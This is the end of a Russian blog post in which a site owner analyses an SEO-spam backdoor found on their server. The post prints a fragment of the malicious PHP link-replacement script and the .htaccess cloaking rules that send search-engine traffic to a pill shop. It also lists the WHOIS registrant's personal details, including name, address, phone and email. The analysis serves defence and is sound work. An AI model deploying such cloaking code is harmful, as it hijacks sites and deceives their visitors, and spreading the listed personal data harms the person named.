            $regexp = "<a\s[^>]*href=(\"??)([^\" >]*?)\\1[^>]*>(.*)<\/a>";
            if (preg_match_all("/$regexp/siU", $buf, $matches)) {
                $zval = $matches[0];
                shuffle($zval);
                foreach ($zval as $val) {
                    if ($c < 0)
                        break;
                    list($l, $anchor) = explode("|||", trim($links[$c]));
                    $new = '<a href="' . $l . '">' . $anchor . '</a>';
                    $buf = str_ireplace($val, $new, $buf);
                    $c--;
                }
            }
        }
        echo $buf;
    }
}

И вкратце что тут происходит. Во первых, тут есть проверка пароля (как ни странно, вроде и бэкдор уже есть без какого либо пароля а тут). Первый блок нужен чтобы проверить сработал ли бэкдор и чтобы распаковывать файлы. На момент написания статьи, файлы которые скачиваются с сервера злоумышленника были удалены.

Кстати о сервере злоумышленника. Домен зарегистрирован как «f.gghijacktest.com». По Whois удалось узнать что он принадлежит человеку с данными:

Имя: Gabriel Northrup
Адрес: str. Ivana Cupala 1, Ljubljana NE 4111 SI
Телефон: +714022420218
Email: vlasigor3@gmail.com

Может кто знает человека ;)

Вернёмся к коду. Файлы с сервера злоумышленника сохраняются во временном каталоге на сервере, у меня это была папка "~/tmp" и я нашел в ней папку с именем .md5(мой домен), в которой лежали изменённые страницы моего сайта, они нужны только для ботов. Т.е. в поисковике они отображаются как мой сайт, но с непотребным текстом. А вот если на страницы сайта из поисковика заходит пользователь, то им отображался магазин пилюль по адресу f.gghijacktest.com/lp.php, но в адресе браузера, разумеется, показывается мой домен.

Всех остальных, кто попал на сайт не из поисковиков, либо напрямую ждала, обычная страница, где ссылки пытаются заменить на другие, но этого у меня не происходило т.к. я не нашёл у себя соответствующий файл fff.sess.

А теперь разберём .htaccess:

RewriteEngine on
RewriteCond %{ENV:REDIRECT_STATUS} 200
RewriteRule ^ - [L]
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
RewriteRule ^(.*)$ bootlegger-limiter.php?$1 [L]

Тут происходит самое главное, перенаправление ботов и людей из поисковиков в выше разобранный скрипт. 2-я и 3-я строки говорят что надо остановиться после первого удачного применения правил. А последующие строки собственно и определяют правила для ботов и поисковиков и перенаправляют их на bootlegger-limiter.php.

Что касается двух остальных скриптов enthusiasms-raw.php и equaling-intangibles.php, то они абсолютно одинаковые и предназначены, судя по функции mail, для рассылки спама.

Заключение


Вот таким нехитрым образом злоумышленник может воспользоваться вашим сервером и вы, возможно, как и я даже не заметите этого. Стоит отметить, что на этом сервере у меня не хранится ничего важного и поэтому в него я заглядываю очень редко. Но даже если бы и заглядывал почаще, то ничего не подозревая, может и не заметил бы пару лишних файлов.

В комментариях можете рассказать о ваших способах борьбы с подобными атаками, думаю многим это будет интересно.

Надеюсь, мой опыт окажется полезным, и вы в очередной раз проверите свои сервера на наличие таких вот простых бэкдоров. Спасибо за внимание.
Only registered users can participate in poll. Log in, please.
Взламывали ли ваши сервера?
9.54% Да, похожим образом 56
33.73% Да, но по другому 198
56.73% Нет 333
587 users voted. 325 users abstained.
Only registered users can participate in poll. Log in, please.
Вы проверили ваши сервера после прочтения?
25.27% Да 143
74.73% Нет 423
566 users voted. 323 users abstained.
Tags:
Hubs:
+20
Comments 89
Comments Comments 89

Articles